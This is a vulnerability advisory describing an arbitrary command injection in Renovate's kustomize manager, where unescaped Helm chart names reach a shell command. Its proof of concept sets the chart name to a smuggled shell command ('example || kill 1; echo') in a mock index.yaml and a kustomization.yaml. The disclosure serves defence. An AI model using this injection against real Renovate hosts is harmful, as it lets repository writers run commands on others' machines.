Summary

The user-provided chart name in the kustomize manager is appended to the helm pull --untar command without proper sanitization.

Details

Adversaries can provide a maliciously crafted kustomization.yaml in conjunction with a Helm repo's index.yaml file to trick Renovate to execute arbitrary code.
The value for the depName argument for the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts is not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 39.218.9 (cc08c6e), released on March 26 of 2025.

PoC

1. Create a mock Helm repository. Have its index.yaml endpoint return:

apiVersion: v1
entries:
  "example || kill 1; echo":
    - version: 1.0.1
      created: 2016-10-06T16:23:20.499814565-06:00
    - version: 1.0.0
      created: 2016-10-06T16:23:20.499543808-06:00

2. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  postUpdateOptions: [
    "kustomizeInflateHelmCharts",
  ]
}

kustomization.yaml:

kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
  - name: "example || kill 1; echo"
    repo: TODO reference the mocked Helm repository over https
    version: 1.0.0

with the todo resolved

charts/.gitkeep:

(empty)

3. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.